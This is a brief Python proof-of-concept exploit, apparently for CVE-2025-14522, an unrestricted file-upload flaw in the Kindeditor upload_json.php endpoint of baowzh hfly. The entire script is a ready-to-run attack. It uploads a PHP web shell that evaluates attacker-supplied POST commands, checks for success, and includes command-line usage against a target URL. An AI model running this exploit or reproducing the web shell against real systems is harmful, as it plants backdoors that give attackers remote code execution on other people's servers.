CVE-2025-14522 baowzh hfly Kindeditor文件上传漏洞

import requests import sys # CVE-2025-14522 PoC - Kindeditor Unrestricted File Upload # Target: baowzh hfly /Public/Kindeditor/php/upload_json.php def exploit(target_url, file_path): """ Exploit for CVE-2025-14522: Unrestricted File Upload in Kindeditor Args: target_url: Target URL of the upload endpoint file_path: Path to the file to upload """ try: # Prepare malicious file content (PHP webshell) files = { 'imgFile': ('shell.php', '<?php @eval($_POST["cmd"]); ?>', 'application/x-php') } # Send POST request to upload endpoint response = requests.post(target_url, files=files, timeout=10) print(f"[*] Status Code: {response.status_code}") print(f"[*] Response: {response.text}") # Check if upload was successful if response.status_code == 200: print("[+] File uploaded successfully!") return True else: print("[-] Upload failed") return False except Exception as e: print(f"[-] Error: {str(e)}") return False if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: python {sys.argv[0]} <target_url>") print(f"Example: python {sys.argv[0]} http://target.com/Public/Kindeditor/php/upload_json.php") sys.exit(1) target = sys.argv[1] exploit(target, "shell.php")